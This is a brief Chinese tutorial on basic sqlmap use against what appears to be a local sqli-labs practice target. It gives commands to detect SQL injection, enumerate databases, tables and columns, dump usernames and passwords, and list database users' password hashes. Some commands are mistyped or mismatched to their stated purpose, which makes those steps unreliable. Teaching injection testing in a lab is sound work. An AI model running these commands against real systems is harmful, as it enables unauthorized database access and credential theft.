sqlmap基础使用方法

sqlmap基础语法

1. 判断是否存在注入点
   1. # sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1"
   2. 会提示是否有注入点和注入的方式
2. 判断文本中是否存在注入点
   1. 使用 burp suite 抓取 HTTP头部信息1
      1. 
      2. 创建文本 1.txt 将头部内容 书写到 1.txt
   2. sqlmap -r 1.txt --batch     
      1. --batch 为自动命令，免除手动改确认信息
   3. 提示注入点以及注入类型
3. 获取当前数据库名称
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" -dbs --batch 
      1. 

1. 获取数据库的表名称
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" -D 'security' -tables --batch
      1. 
2. 获取数据库的列名称
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" -D 'security' -T 'users' --coulmns --batch
      1. 
3. 获取数据
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" -D 'security' -T 'users' -C 'password , username' --batch --dump
      1. 
4. 查看数据库的管理者（需要拥有权限）
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --users  --batch
5. 查看数据库用户的密码
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --password  --batch
      1. 

1. 查看当前数据库的名称
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --password
      1. 
2. 查看当前数据库的用户
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --current-user --batch
      1. 

sqlmap的一些参数

1. --level 5  探测等级，等级越高探测的广度越大 耗时越长
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --level 5  --batch
      1. 
2. is-dba     判断当前用户是否为管理员用户
   1. sqlmap -u "http://192.168.124.53/sqllabs/Less-1/?id=1" --is-dba  --batch
      1. 
      2. false 不是管理员用户 true 为管理员用户